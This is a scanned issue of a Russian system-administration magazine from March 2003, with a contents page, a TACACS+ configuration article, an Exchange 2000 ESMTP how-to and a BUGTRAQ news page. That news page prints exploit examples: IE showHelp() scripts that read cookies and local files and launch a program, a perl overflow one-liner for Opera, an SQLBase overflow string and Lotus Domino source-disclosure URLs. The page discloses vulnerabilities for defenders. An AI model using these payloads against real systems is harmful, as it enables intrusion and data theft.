Вы находитесь на странице: 1из 98

№3(4) март 2003

журнал для cистемных администраторов,


вебмастеров и программистов

Разработчики
поисковых систем
отвечают на вопросы
читателей
Перехват системных
вызовов в ОС Linux
TACACS
Установка FreeBSD
ЛВС: управляемость
и надежность
оглавление

АДМИНИСТРИРОВАНИЕ Некоторые недокументированные


функции Java
TACACS Неужели в среде Java существуют задачи, которые не
Основные принципы настройки сервера и клиента. решаются с помощью стандартных библиотек и для ре-
Всеволод Стахов шения которых имеет смысл прибегать к недокумен-
CEBKA@smtp.ru 4 тированным функциям?
Даниил Алиевский
daniel@siams.com 46
Как выключить ESMTP-команды
в Exchange 2000 Server
Татьяна Антипова Итоги акции «Задай свой вопрос
antipova@samag.ru разработчикам поисковых систем»,
10 проводимой совместно с Всероссийским
Клубом Веб-разработчиков
Установка FreeBSD Ведущие разработчики поисковых систем - Яндекса,
Шаг за шагом: подготовка жесткого диска, выбор па- Рамблера, Апорта и Мета-Украины - отвечают на воп-
кетов, инсталляция, послеинсталляционное конфигу- росы читателей.
рирование системы. info@samag.ru 50
Сергей Яремчук
grinder@ua.fm 12
HARDWARE
IPSec через NAT: проблемы и решения Основы систем хранения данных
Татьяна Антипова Оттолкнувшись от незыблемых законов физики и ло-
antipova@samag.ru 22 гики, постараемся приблизиться к наиболее полному
пониманию дисковых систем.
Алексей Серебряков
Абсолютно все о Frame Relay val@var.ru 62
Что стало главным фактором высокой востребован-
ности данной технологии?
Сергей Ропчан ОБРАЗОВАНИЕ
fenix@sit-ua.com 26
ЛВС: управляемость, надежность,
масштабируемость
ПРОГРАММИРОВАНИЕ Как создать локальную вычислительную сеть, отвеча-
ющую современным требованиям производительнос-
Можно ли защитить веб-страницы ти и надежности?
от анализа исходного кода? Денис Еланский
Как помешать программисту-профессионалу, распо- grosm@samag.ru 78
лагающему богатым арсеналом – отладчиком, соб-
ственной версией браузера с исходными текстами, вир-
туальной машиной – проанализировать исходный IMHO
HTML-код веб-страницы.
Даниил Алиевский Почему OpenSourse?
daniel@siams.com 32 (Точка зрения разработчика)
Размышлениями, результатами и опытом, приобретен-
ным в ходе попытки использования свободного ПО, де-
Перехват системных вызовов в ОС Linux лятся разработчики АСУТП в аэрокосмической области.
Вопросы защиты информационных систем, построен- Владимир Попов
ных на базе операционной системы Linux, по-прежне- Popov_inm@yahoo.com 90
му актуальны. Предлагаем вам рассмотреть механизм
защиты, основанный на перехвате системных вызовов
в ОС Linux. BUGTRAQ 4, 25, 45, 89
Владимир Мешков
ubob@mail.ru 40 FAQ Python 95

№3(4), март 2003 1


BUGTRAQ
Раскрытие исходного кода сценариев Подробности уязвимости в showhelp в IE
в веб-сервере Lotus Domino Ранее мы сообщали о выходе патча к IE, устраняющем
Уязвимость раскрытия файла обнаружена в веб-сервере уязвимость в методе showHelp(). Сообщается, что огра-
Lotus Domino. Удаленный пользователь может создать спе- ничения безопасности не работают, когда showHelp вы-
циальный запрос, который раскроит содержание некото- зывается с аргументом File. Как уже говорилось, в резуль-
рых типов файлов. тате атакующий может выполнять произвольный код на
Сообщается, что удаленный пользователь может до- уязвимой системе. Вот несколько примеров.
бавить точку к концу некоторых типов файлов Lotus, ус- Чтение куки:
танавливаемых не по умолчанию (т.е. отличных от .NSF,
showHelp("file:");showHelp("http://www.google.com/");
.NTF и т. п.), чтобы получить этот файл. Уязвимость мо- showHelp("javascript:alert(document.cookie)");
жет использоваться для просмотра исходного кода сце-
нариев на сервере и включаемых файлов. Пример: Чтение файла с:\text.txt:

http://[target]/reports/secretreport.csp. showHelp("file:");showHelp("res://shdoclc.dll/
http://[target]/cgi-bin/myscript.pl . about.dlg");
http://[target]/cgi-bin/runme.exe%20. showHelp("javascript:try{c=new
http://[target]/reports/secretreport.csp%20%2E ActiveXObject('Msxml2.XMLHTTP')}\
catch(e){c=new
ActiveXObject('Microsoft.XMLHTTP')};c.open('GET',\
'file://c:/
Уязвимость обнаружена в Lotus Domino Web Server 5, 6. test.txt',false);c.send(null);alert(c.responseText)");

Переполнение буфера в Opera Еще один способ чтения файла с:\text.txt:


Переполнение буфера обнаружено в веб-браузере Opera.
Удаленный пользователь может сконструировать URL, ко- showHelp("file:");showHelp("file://c:/test.txt");
showHelp("javascript:alert(document.body.innerText)");
торый заставить браузер выполнить произвольный код при
загрузке этого URL. Запуск Winmine:
Сообщается, что переполнение происходит при загруз-
ке URL с чрезмерно длинным именем пользователя. Зло- showHelp("file:");showHelp("iexplore.chm");showHelp("res:");
showHelp("javascript:location='mk:@MSITStore:C:'");
намеренный URL может быть передан через ссылку, изоб- showHelp("javascript:document.write('<object id=c classid=\
ражение, фрейм, сценарий и другие методы. Пример: clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\\u003E<param na\
me=Command value=ShortCut\\u003E\<param name=Item1 value=,\
winmine,\\u003E</object\\u003E');c.Click();");
$ perl -e "exec('opera.exe', 'http://'. 'A' x 2624 .'@/')"
Переполнение буфера в SQLBase
Уязвимость обнаружена в Opera 6.05 build 1140, 7 beta2 SQLBase 8.1.0 – система управления реляционной базой
build 2577. данных (RDBMS). Разработчик сообщает, что системой
пользуются более 1000000 человек во всем мире.
Cisco IOS может принимать поддельные Команда EXECUTE выполняет сохраненную команду
ICMP Redirect-пакеты и перенаправлять или процедуру. Синтаксис этой команды:
их неправильному адресату
Уязвимость обнаружена в операционной системе Cisco IOS. EXECUTE [auth ID].stored_command_or_procedure_name
В некоторых конфигурациях маршрутизатор может прини-
мать поддельные ICMP Redirect-пакеты. Передавая чрезмерно большое имя команды/проце-
Cisco выпустил Field Notice (23074), в котором предуп- дуры (более 700 байт) в качестве параметра, работа
реждается, что если заблокирована IP-маршрутизация, SQLBase аварийно завершится с возможностью выпол-
маршрутизатор примет поддельный ICMP Redirect-пакет нения произвольного кода с привилегиями GuptaSQL
и изменит соответствующую таблицу маршрутизации. Service (Local System). Пример:
Согласно сообщению, IP-маршрутизация включена по
умолчанию, так что заданные по умолчанию конфигура- EXECUTE SYSADM.AAAAAAAAAAA...(700 times)
ции неуязвимы к обнаруженной проблеме. Уязвимость
может использоваться для DoS-нападений или перенап- Недостаток в механизме
равления пакетов к другому местоположению. Уязвимость кодирования в WinZIP
обнаружена в Cisco IOS 12.2 и более ранних версиях. Недостаток в обнаружен в PKZIP механизме шифрова-
ния. Уязвимость позволяет нападать непосредственно на
Недостаток в Red Hat kernel-utils пакете механизм шифрования, используя инженерный анализ
Уязвимость конфигурации обнаружена в Red Hat kernel- (reversing enginiering) в WinZIP IBDL32.dll.
utils пакете. Локальный пользователь может выполнять Уязвимость связана с использованием слабого гене-
привилегированные сетевые операции. Локальный ратора случайных чисел. Как утверждает автор, можно
пользователь может управлять некоторыми сетевыми ин- расшифровать весь архив, зная небольшой фрагмент из-
терфейсами, добавлять и удалять arp-входы и маршруты вестного текста (36 байт). Сообщается, что файл, зашиф-
и помещать интерфейсы в разнородный («promiscuous») рованный 19-символьным паролем, на PIII-500 удалось
режим. Уязвимость обнаружена в Red Hat Linux 8.0. расшифровать менее чем за 2 часа.

2
TACACS

В данной статье описываются основные принципы настройки сервера и клиента (терминального


сервера фирмы Cisco или иной компании) TACACS+. TACACS имеет очень широкое применение,
так как может обеспечивать работу всех клиентов с единым сервером авторизации, который также
позволяет настраивать привилегии различных пользователей в широких пределах, например:
давать определённым пользователям доступ только к определённым командам, давать
определённым лицам пользоваться различными сервисами только с заданных адресов,
организовывать группы пользователей, вести лог-файл доступа пользователей (это особенно
важно для маршрутизаторов Cisco, так как позволяет определить, кто и сколько пользовался
определёнными сетевыми службами: ppp, slip и т. д.), выполнять для пользователей определённые
команды Unix.

ВСЕВОЛОД СТАХОВ
администрирование
Но прежде чем начинать разговор о настройке TACACS, я #!/bin/sh
бы хотел определиться с терминологией: for i in *
do
 TACACS (terminal access controller access control tr -d "\r" < $i > .tmp
system) – собственно, система управления автори- mv -f .tmp $i
rm -f .tmp
зацией и аутентификацией. done
 NAS (network access server) – клиент tacacs, киска.
Киской в данной статье я буду называть терминаль-  возникли некоторые проблемы с описанием syserrorlist,
ный сервер (интеллектуальный коммутатор или мар- которые, впрочем, решаются просто удалением соот-
шрутизатор) фирмы Cisco. Хотя в принципе с прото- ветствующих строчек.
колом TACACS+ могут работать маршрутизаторы и
других фирм. Решив эти проблемы, я спокойно скомпилировал tacacs+
 AV (attribute=value) – пары атрибут=значение, кото- в NetBSD 1.5.2 компилятором egcc 1.1.2. Под Linux&gcc 2.96
рые передаются между клиентом и сервером tacacs. также всё прошло нормально, поэтому я не вижу причин,
чтобы на других машинах возникали ошибки компиляции
Теперь необходимо скачать сам сервер для *nix. Оби- (если возникли, то прежде всего проверьте Makefile).
тает он здесь: ftp://ftpeng.cisco.com/pub/tacacs (сервер ftp Естественно, что после компиляции необходимо запу-
очень кривой, по нему особо не пороешься: не видно ка- стить и настроить сервер. Запускается он так:
талогов), к сожалению, только альфа-версия, но, похоже,
из состояния альфа он не выберется никогда, т.к. сама tac_plus
* -C èìÿ êîíôèãóðàöèîííîãî ôàéëà (îáÿçàòåëüíûé ïàðàìåòð)
Cisco его не поддерживает (что весьма странно) и отка- * -t íå èñïîëüçîâàòü log-ôàéë, à ïèñàòü â stderr
зывается от «любой ответственности». «Альфанутость» * -P ïðîâåðêà ñèíòàêñèñà êîíôèãóðàöèîííîãî ôàéëà
* -g ðåæèì îòëàäêè, íå ïðîèñõîäèò ñîçäàíèÿ äî÷åðíèõ
tacacs_plus-сервера мне довелось прочувствовать на соб- ïðîöåññîâ
ственной шкуре: пришлось его маленько доработать, для * -p port_number çàäàíèå íîìåðà ïîðòà (ïî óìîë÷àíèþ
tacacs+ èñïîëüçóåò 49)
того чтобы он начал выполнять свои функции. Итак, вна- * -d óðîâåíü âûâîäà îòëàäî÷íûõ ñîîáùåíèé â
чале правим Makefile: по умолчанию раскомментированы /var/tmp/tac_plus.log
* -v âûâåñòè âåðñèþ è âûéòè
настройки для Solaris. * -L (ïîëó÷àòü èìåíà ïî DNS)
* -l ôàéë äëÿ âåäåíèÿ ëîãà
* -w ôàéë äëÿ çàïèñè æóðíàëà äîñòóïà (ïðè âêëþ÷åííîé
# For Solaris (SUNOS 5.3, 5.4, 5.5, 5.6) uncomment the îïöèè maxsess, ïî óìîë÷àíèþ – /var/tmp/tac.who_log)
# following two lines * -i çàïóñê ÷åðåç inetd
OS=-DSOLARIS Ïðèìåð:
OSLIBS=-lsocket -lnsl tac_plus -C /etc/tacacs.config

Выбираем нужную ОС и раскомментируем нужные После пробного запуска заносим нужные строчки в си-
строчки: стемные rc-файлы (хотя я бы посоветовал для начала ис-
пользовать режим inetd).
# For LINUX Но без конфигурационного файла сервер не работает,
OS=-DLINUX
# поэтому настало самое время описать его синтаксис. Все
# On REDHAT 5.0 systems, or systems that use the new glibc, значения записываются в формате атрибут=значение (AV-
# you might instead need the following:
OS=-DLINUX -DGLIBC пары), если прописываются дополнительные параметры ат-
OSLIBS=-lcrypt рибутов, то они заключаются в фигурные скобки {}, симво-
лы # считаются началом однострочного комментария. Прин-
Добавляем пользователя и группу для сервера, пишем цип построения конфигурационного файла таков: вначале
в Makefile UID и GID (по умолчанию эти строки закоммен- задаётся ключ симметрического шифрования, осуществля-
тированы, запуск идёт от рута, что не есть хорошо, осо- емого между киской и tacacs-сервером. Этот ключ имеет ана-
бенно для альфа-версии): логичное паролю значение (берётся его md5-хеш), поэтому
он может содержать нормальные символы (символ " упот-
USERID = 1500 реблять нельзя, т.к. это приведёт к ошибке работы шифра-
GROUPID = 25
FLAGS = -DTAC_PLUS_USERID=$(USERID) ции, а экранировать его нет возможности). После определе-
-DTAC_PLUS_GROUPID=$(GROUPID) ния ключа описываются группы, в которых можно опреде-
лить общие права и параметры доступа всех пользователей
Указываем pid-файл: в группе. Также обычно определяют пользователей, входя-
щих в определённые группы (пользователь может принад-
# On startup, tac_plus creates the file /etc/tac_plus.pid лежать только одной группе). Для указания того, что пользо-
# (if possible), containing its process id. Uncomment and
# modify the following line to change this filename ватель или группа входят в определённую группу, в их опи-
PIDFILE = -DTAC_PLUS_PIDFILE=\"/var/run/tac_plus.pid\" сании необходимо использовать member=group_name. При-
веду всё это на примере:
При компиляции у меня возникли ещё две неболь-
шие проблемы: # Êëþ÷ äëÿ øèôðîâàíèÿ
key = a very secret password
 все сырцы были записаны в формате DOS, поэтому group users{
пришлось вначале написать простенький скрипт: # Çàäàíèå ïàðîëÿ äëÿ âñåõ ïîëüçîâàòåëåé ãðóïïû

№3(4), март 2003 5


администрирование
#ïîëüçîâàòåëåé â îòêðûòîì âèäå. Ìîæíî èñïîëüçîâàòü }
# DES-øèôðîâàíèå, íàïðèìåð: login = DES F5qT7Ha7AflP0 user $enab15${
# èëè óêàçàòü ôàéë â ôîðìàòå passwd: login = des Y7jk9zAd5F7Ix
# login = file /etc/tacacs_passwd, íî ó÷òèòå, ÷òî ïîêà }
# tac_plus íå ðàáîòàåò ñ md5-ïàðîëÿìè, òàê ÷òî â ýòîì user $enab1${
# ôàéëå âñå ïàðîëè äîëæíû áûòü çàøèôðîâàíû ìåòîäîì DES login = cleartext level1secret
login = cleartext users_password }
}
user user1{
# Ïîëüçîâàòåëü ïðèíàäëåæèò ãðóïïå è íàñëåäóåò âñå ïàðà- Сродни процессу ау тентификации на сервере
# ìåòðû èç îïðåäåëåíèÿ ãðóïïû, âêëþ÷àÿ ïàðîëü
member = users tac_plus, можно управлять процессом авторизации, т.е.
} предоставления пользователям определённых прав и
user power_user{
# Ïåðåîïðåäåëåíèå àòðèáóòà ãðóïïû запретов на использование команд или протоколов. Для
login = des F5qT7Ha7AflP0 определения прав авторизации используются регуляр-
member = users
} ные выражения стиля grep (точнее, egerp, что позволя-
user lamer{ ет использовать логические операции) и ключевые сло-
# À ýòîò, âèäèìî, è ïàðîëü ââåñòè ñàì íå ìîæåò :)
login = nopassword ва permit (разрешить) и deny (запретить). По умолча-
member = users нию всё, что не разрешено, – запрещено. Это можно
}
изменить, указав разрешения по умолчанию:
Важное замечание: если пароль указывается из файла  default authorization = permit – на глобальном уровне,
(file path_to_file), то необходимо преобразовать стандартный разрешить все по умолчанию;
файл формата passwd в формат tacacs (tacacs считает но-  default service = permit – на уровне пользователя, раз-
мер группы номером списка прав доступа acl). Для этого ис- решить все по умолчанию для данного пользователя;
пользуется поставляемая утилита convert.pl -g <passwdfile>.  default attribute = permit – на уровне описания сервиса,
Группы tacacs могут являться членами других групп, насле- разрешить всё по умолчанию.
дуя все атрибуты контейнера. Учтите, что файл конфигура-
ции tacacs содержит некоторые пароли в незашифрованном В процессе авторизации ключевыми являются три по-
виде, поэтому надо обязательно выполнить правильный нятия: сервис (например, сервисы exec, slip, ppp, arap,
chmod 0400 для пользователя, под которым работает tacacs. shell, tty-daemon, connection, system), команда (например,
Кроме этого, для аутентификации можно использовать не- telnet) и протокол. Приведу пример с комментариями:
сколько дополнительных весьма полезных параметров:
 expires = «Month_short DD YYYY» – конец работы данной user=admin {
login = des 3EdghJk8acVB6
учётной записи. Пользователь получает предупреждение member = administrators
за 14 дней до cрока, например: expires = «JAN 12 2003» # Ðàçðåøàåì âñ¸ íà óðîâíå ïîëüçîâàòåëÿ
default service = permit
(регистр не имеет значения, не забудьте про кавычки); # Îïèñàíèå ñåðâèñà âûïîëíåíèÿ êîìàíä exec
 arap = cleartext arap_pass – пароль для arap; service = exec {
 chap = cleartext chap_pass – пароль для chap-соедине- # Óñòàíàâëèâàåì ñïèñîê ïðàâ äîñòóïà äëÿ äàííîãî
# ïîëüçîâàòåëÿ
ний (нельзя использовать шифрование); acl = 4
 ms-chap = cleartext ms-chap_pass – пароль для ms-chap # Âûïîëíÿåì êîìàíäó ïðè àâòîðèçàöèè(àâòîêîìàíäà)
autocmd = "telnet 192.168.1.2"
(если tacacs был собран с поддержкой этого протоко- }
cmd = telnet {
ла), если не был «получен ms-chap ключ от Microsoft», # Ðàçðåøàåì âñå telnet-ñîåäèíåíèÿ, êðîìå àäðåñà
то работать можно только с cleartext-паролями; # 131.108.13.*
 pap = cleartext pap_pass – пароль для входящих pap- deny 131\.108\.13\.[0-9]+
permit .*
соединений, его можно шифровать DESom; }
 opap = cleartext opap_pass – пароль для исходящих pap- }
user=alex {
соединений (работает аналогично предыдущему). login = des 6EX027bHtSTlz
name = "Alex"
member = administrators
В Cisco IOS также предусмотрен ряд специальных expires = "May 23 2005"
arap = cleartext "arap secret"
пользователей, соответствующих уровням доступа к сис- chap = cleartext "chap secret"
теме (enable), их имена выглядят следующим образом: service = exec {
# Óðîâåíü ïðèâèëåãèé ïî óìîë÷àíèþ
$enab<n>$, где <n> – требуемый уровень доступа к сис- acl = 5
теме (имеется также пользователь $enable$ для старых # Àâòîïèíã
autocmd = "ping 192.168.1.2"
версий IOS). Приведу простой пример всему вышесказан- }
ному (комментарии, думаю, будут излишни): }

user admin{ В качестве команд могут использоваться любые ко-


login = des FgZq2fY7ZKP0l
pap = des FgZq2fY7ZKP0l манды IOS обычного режима (т.е. до enable). Список
opap = des FgZq2fY7ZKP0l параметров, которые могут использоваться внутри оп-
expires = "JAN 01 2010"
} ределений авторизации, весьма широк:
user user1{
login = cleartext user_pass
 acl – список прав доступа (только при service=shell или
pap = pap_user_pass service=exec);
expires = "JAN 01 2003"  addr – сетевой адрес для service=ppp и protocol=ip;

6
администрирование
 autocmd – только при service=shell или service=exec – ав- nbf bap
томатическое выполнение определённой команды IOS; multilink unknown
 callback-dialstring – номер телефона для service=ppp
или shell;  route – определяет статический маршрут, применяе-
 callback-line – номер линии; мый к интерфейсу (service=ppp, protocol=ip). Указыва-
 dns-server – IP-адреса серверов DNS через пробел, пе- ется в виде адреса назначения, маски подсети и (воз-
редаваемых клиентам PPP (service=ppp, protocol=ip); можно) шлюза. Если шлюз опущен, то через соседа
 idletime (11.1) – время в минутах до завершения неак- (peer). По завершению сеанса маршрут удаляется.
тивной сессии (не применимо к PPP);  route<n> – аналогично route, но позволяет нумеровать
 inacl<n> – определяется входной уровень доступа и при- маршруты и, стало быть, иметь их много;
меняется к интерфейсу на время сеанса (service=ppp,  routing – (true или false) обрабатывать ли информацию
protocol=ip); о маршрутизации;
 interface-config – значением является любая команда  source-ip – задает исходный IP-адрес VPDN-пакетов (эк-
конфигурации интерфейса; вивалент команды: vpdn outgoing);
 ip-addresses – возможные значения IP-адресов для кон-  timeout – максимальное время сессии в минутах (на-
ца туннеля (service=ppp and protocol=vpdn); чиная с 11.3.8, работает и для service=ppp protocol=lcp,
 link-compression – использовать ли алгоритм сжатия но выражается в секундах);
STAC:  tunnel-id – идентификатор туннеля vpdn (service=ppp
0 – нет and protocol=vpdn);
1 – Stac  wins-servers – IP-адреса серверов WINS (NetBIOS Name
2 – Stac-Draft-9 Service) через пробел, передаваемых клиентам MS PPP
3 – MS-Stac. (service=ppp, protocol=ip).

 load-threshold – порог нагрузки (от 1 до 255), после ко- Здесь, думаю, какие-либо комментарии будут излиш-
торого добавляются/удаляются дополнительные лин- ни, поэтому я перейду к описанию скриптов авторизации.
ки в multilink bundle (service=ppp and protocol=multilink); Tacacs может выполнять некоторые скрипты shell до или
 max-links – максимальное число линков, которые пользо- после авторизации пользователя, для этого используют-
ватель может иметь в multilink bundle (service=ppp and ся директивы before authorization «/path/script paramlist» и
protocol=multilink); after authorization «...» соответственно (обратите внима-
 nas-password – пароль для NAS при аутентификации ние на наличие кавычек и отсутствие знака «=»). Скрип-
для L2F туннеля (service=ppp and protocol=vpdn); там инициализации могут быть переданы любые парамет-
 nocallback-verify – (всегда = 1), означает, что не требу- ры командной строки, но некоторые из них имеют специ-
ется верификации при callback (service=arap, альное назначение:
service=slip, service=ppp, service=shell);  $user – имя пользователя;
 noescape – (true или false), запретить использовать сим-  $name – имя клиента(NAS);
вол прерывания ввода (service=shell);  $port – порт клиента;
 nohangup – (true или false), запретить отключение пользо-  $address – адрес клиента;
вателя по завершению сеанса EXEC (service=shell);  $priv – уровень привилегий(0 – 15);
 outacl<n> – определяется уровень доступа для исхо-  $method – каким способом была пройдена аутентифи-
дящего соединения и применяется к интерфейсу на кация:
время сеанса (service=ppp, protocol=ip); 1 – none
 pool-def<n> – определить пул IP-адресов; 2 – KRB5 (kerberos, version 5)
 pool-timeout – время на проверку существования ука- 3 – line (пароль, привязанный к линии)
занного адресного пула на NAS; 4 – enable (команда изменения привилегий)
 ppp-vj-slot-compression – указание маршрутизатору не 5 – local (в соответствии с локальной БД NAS)
использовать сжатие слотов при посылке VJ-сжатых 6 – tacacs+
пакетов; 8 – guest (например, guest в ARAP)
 priv-lvl – уровень привилегий, назначаемый процессу 16 – RADIUS
EXEC (0-15, 15 – наивысший); 17 – KRB4 (kerberos, version 4)
 protocol – подмножество сервиса (в основном для ppp):
lcp ip  $type – тип соединения:
ipx atalk 1 – ASCII
vines lat 2 – PAP
xremote tn3270 3 – CHAP
telnet rlogin 4 – ARAP
pad vpdn 5 – MS CHAP
deccp osicp  $service – номер сервиса:
ccp (compression control protocol) bridging 1 – login
cdp (cisco discovery protocol) xns 2 – enable

№3(4), март 2003 7


администрирование
3 – ppp стоит файл учёта из 5 полей (поля разделяются симво-
4 – arap лами табуляции): времени, имени NAS, имени пользо-
5 – pt вателя, ключевого слова assync, признак начала или
6 – rcmd окончания сессии – start и stop соответственно (особен-
7 – X25 но интересна для учёта директива stop, на основании
8 – NASI которой можно выполнять учёт и контроль ошибок, иног-
9 – FWPROXY да, в случае ошибки авторизации или аутентификации,
директива stop может не иметь пары start) и дополни-
 $status – строка статуса работы соединения: тельных AV-строк (для оценки PPP-трафика интересны
pass – успешное прохождение авторизации пары service=PPP elapsed_time={время в секундах}, а
fail – провал соединения также bytes_in= и bytes_out=).
error – ошибка работы Теперь позвольте перейти к описанию настройки кис-
unknown – неизвестная ошибка. ки. Для начала сразу же хочу предупредить, что к этому
моменту необходимо иметь нормально работающий
Указанный скрипт выполняется /bin/sh -c и должен быть tacacs-сервер, иначе может случиться так, что вы не смо-
составлен соответствующим образом. При создании по- жете зайти на киску (при настройке tacacs-сервера учти-
добных скриптов учтите, что они будут выполняться мно- те тот факт, что по умолчанию всё запрещено, поэтому
го раз для каждого пользователя, например, прохожде- не забудьте корректно настроить авторизацию). Заходим
ние авторизации ppp, ip и так далее. Скрипт авторизации в CLI-киски в режим EXEC (привилегированный режим):
может сообщать о статусе работы через код завершения: Устанавливаем сервер tacacs+ в name (имя или IP-адрес):
 0 – всё нормально, авторизация разрешена;
 1 – произошла ошибка, авторизация запрещена; # tacacs-server host {name}
 2 – авторизация разрешена, но на stdout скрипт кида-
ет AV-пары, которые используются для дальнейшей ав- Установка тайм-аута поиска сервера (по умолчанию 5
торизации (в обход настройкам tacacs), причём если в секунд):
выводе содержатся пробелы, их необходимо экрани-
ровать кавычками; # tacacs-server timeout {seconds}
 3 – аналогично предыдущему, но авторизация запре-
щена. Количество попыток логина на сервер:

Авторизационные скрипты – довольно полезная вещь: # tacacs-server attempts {count}


я, например, сделал скрипт, работающий с MySQL и ис-
следующий пользователей, которые могут заходить на Ключ для шифрации трафика должен совпадать со зна-
определённый свитч. Скрипты выполняются под тем же чением на сервере:
пользователем, что и tacacs-сервер, поэтому запускать
его от рута не рекомендуется (см. настройки Makefile). # tacacs-server key {key}
Приведу простой пример конфигурации сервера с ис-
пользованием скриптов: Смотрим информацию о tacacs:

group users{ # show tacacs


# Ïóòü ê ñêðèïòó, âûïîëíÿþùåìóñÿ äî àâòîðèçàöèè íà
# ñåðâåðå
before authorization "/usr/libexec/tacacs/users_auth\ Далее настраиваем три «а»: аутентификацию, авто-
$user $name $address"
# Ðàçðåøàåì ñåðâèñû ïî óìîë÷àíèþ ризацию и аккаунтинг:
default service = permit
service = exec {
# Âûïîëíÿåì àâòîïèíã # configure terminal
autocmd = "ping 192.168.2.1"
}
} Включаем новую модель aaa:

Последняя вещь, о которой я хотел бы рассказать # aaa new-model


для настройки сервера tacacs, – установка учёта рабо-
ты (accounting). Для начала работы системы учёта дос- Глобальные настройки логина (список методов по сте-
таточно добавить строку accounting file = «path_to_file» пени возрастания, в моём примере вначале ходим на
на глобальном уровне: tacacs-сервер, а затем смотрим в локальные пароли):

accounting file = "/var/log/tacacs/accounting" # aaa authentication login default line

Формат данного файла различается от версии к вер- Настройка ppp-логина:


сии, поэтому я не буду на этом останавливаться под-
робно (думаю, понять, что к чему, будет нетрудно). Со- # aaa authentication ppp default tacacs+

8
администрирование
Выбираем линию для настройки (список линий, могут рых параметров ppp). Для этого добавляем в настройки
быть специальные линии или номера стандартных линий aaa такие строчки:
маршрутизатора):
# aaa authentication ppp pppcheck tacacs+
# line {[aux, console, tty, vty]| line-numbers} # int async {number_of_line}
# ppp authentication {chap | pap} pppcheck
# ppp callback accept
Список методов логина для линии:
На сервере есть также дополнительные callback av
# login authentication tacacs+ пары, например:
# exit
user = foo{
login = cleartext login
Смотрим полученные изменения: chap = cleartext xfgb
pap = des qQkpO0AMIp7RL
opap = cleartext outgoing_pap
# show running-config service = ppp protocol = lcp {
# Ñòðîêà äîçâîíà äëÿ ðàñøèðåíèé ppp lcp
callback-dialstring=123456
Настраиваем аутентификацию: }
}
# configure terminal
Но мне callback показался не очень нужным в практи-
Авторизация через tacacs всех сетевых служб (SLIP, ческом плане, поэтому подробно о нём говорить я не буду.
PPP, NCP, ARA): Подводя итог, скажу, что использование tacacs мне
лично показалось весьма удобным и простым (за исклю-
# aaa authorization network tacacs+ чением некоторой нестабильности работы – иногда мрут
дочерние процессы, что в принципе нестрашно). За до-
Авторизация через tacacs сервиса exec: полнительной информацией о tacacs можете обратиться
на следующие сайты:
# aaa authorization exec tacacs+ # exit http://www.bog.pp.ru/work/tacacs.html – на мой взгляд,
наиболее качественный ресурс по данной теме на русском
Настраиваем аккаунтинг: языке (также здесь вы найдёте уйму полезной информации);
http://cisco.opennet.ru – отличная подборка материа-
# configure terminal лов по Cisco;
http://ftpeng.cisco.com/pub/tacacs/ – отсюда качаем;
Запускаем аккаунтинг событий начала и конца для сер- http://www.easynet.de/tacacs-faq/ – FAQ на английс-
виса exec и сетевых сервисов: ком языке по tacacs;
http://rcp.ru/faq/cisco.html – FAQ на русском языке по
# aaa accounting exec start-stop tacacs+ маршрутизаторам Cisco;
# aaa accounting network start-stop tacacs+
# exit http://stiwww.epfl.ch/tacacs/u_g_F403.html – родная
документация на английском языке;
Можно также создать обратную связь (callback) меж- http://www.disaster.com/tacplus/ – подписка на список
ду сервером и киской (это полезно для получения некото- рассылок tacacs.

№3(4), март 2003 9


администрирование

КАК
ВЫКЛЮЧИТЬ

ESMTP-КОМАНДЫ
В EXCHANGE 2000
SERVER ТАТЬЯНА АНТИПОВА
Для совместимости Microsoft Exchange 2000 Server с  250-TURN
другими SMTP-почтовыми серверами иногда требуется  250-ATRN
запретить некоторые Extended Simple Mail Transfer Protocol  250-SIZE 2097152
(ESMTP)-команды, которые разрешены по умолчанию при  250-ETRN
установке Exchange-сервера. В этой статье описываются  250-PIPELINING
различные параметры настройки, которые управляют  250-DSN
ESMTP-командами. По умолчанию в Exchange 2000 раз-  250-ENHANCEDSTATUSCODES
решено использовать следующие команды:  250-8bitmime
 220 server.domain.com Microsoft ESMTP MAIL Service,  250-BINARYMIME
Version: 5.0.2195.1 ready at Wed, 15 Mar 2000 17:37:07  250-CHUNKING
-0800 ehlo ee.com  250-VRFY
 220 server.domain.com Microsoft ESMTP MAIL Service  250-X-EXPS GSSAPI NTLM LOGIN
[5.0.2195.1]  250-X-EXPS=LOGIN

10
администрирование
 250-AUTH GSSAPI NTLM LOGIN информация может быть полезна, если вы используете
 250-AUTH=LOGIN программу MetaEdit. В таблице отображены шестнадца-
 250-XEXCH50 теричные значения команд.
 250-X-LINK2STATE По умолчанию это значение равно 7697601
 250 OK (0x7574C1H). Когда вы вычтите соответствующее деся-
тичное значение команды из этого числа, вы можете вклю-
Этими командами можно управлять в метабазе и в чить или выключить различные ESMTP-команды. Напри-
Exchange Server event sinks. Если вы запрещаете коман- мер, если вы хотите отключить поддержку 8bitmime, вы
ды в event sinks, то изменения могут привести к сильно- должны присвоить переменной SmtpInboundCommand-
му понижению производительности Exchange 2000. По- SupportOptions значение ‘7697601-4194304‘= 3503297-
этому в этой статье мы рассмотрим ESMTP-команды, ко- (0x3574C1H). Чтобы отключить все ESMTP-команды, пе-
торые управляются метабазой. речисленные в таблице, значение должно быть 352257
Следующими командами можно управлять в метаба- (0x56001). В более ранних версиях Exchange-сервера
зе Exchange-сервера: это значение можно было изменить, используя инстру-
 250-TURN менты типа CSCRIPT с Adsutil.vbs или MetaEdit. Однако
 250-ATRN в Exchange 2000 Server значениям в метабазе подчине-
 250-ETRN но значением в Active Directory. Процесс «Microsoft
 250-DSN Exchange Metabase Update» (перечисленный как
 250-ENHANCEDSTATUSCODES MSExchangeMU в журнале регистрации приложений) за-
 250-8bitmime пускается каждые 15 минут и сравнивает значения в
 250-BINARYMIME метабазе со значениями в Active Directory. Если дан-
 250-CHUNKING ные отличаются, то значение в метабазе перезаписы-
вается значением в Active Directory. Таким образом,
Каждая из этих команд представлена шестнадцате- чтобы эти изменения вступили в силу, вы должны из-
ричным значением. Эти значения входят в единствен- менить значение msExchSmtpInboundCommandSupport-
ное число, которое определяет включением и выклю- Options в Active Directory, используя или LDP или
чением этих команд. Это число (в десятичном форма- ADSIEdit.
те) хранится в переменной SmtpInboundCommand- Чтобы изменить это значение, используя ADSIEdit,
SupportOptions, которая находится в Lm/Smtpsvc/1LM в выполните следующие шаги:
метабазе и в sExchSmtpInboundCommandSupportOptions  Откройте ADSIEdit и подключитесь к контроллеру до-
в Active Directory под: мена.
 CN=1,  Откройте Configuration Container.
 CN=SMTP,  Перейдите в следующее место: Configuration/Services/
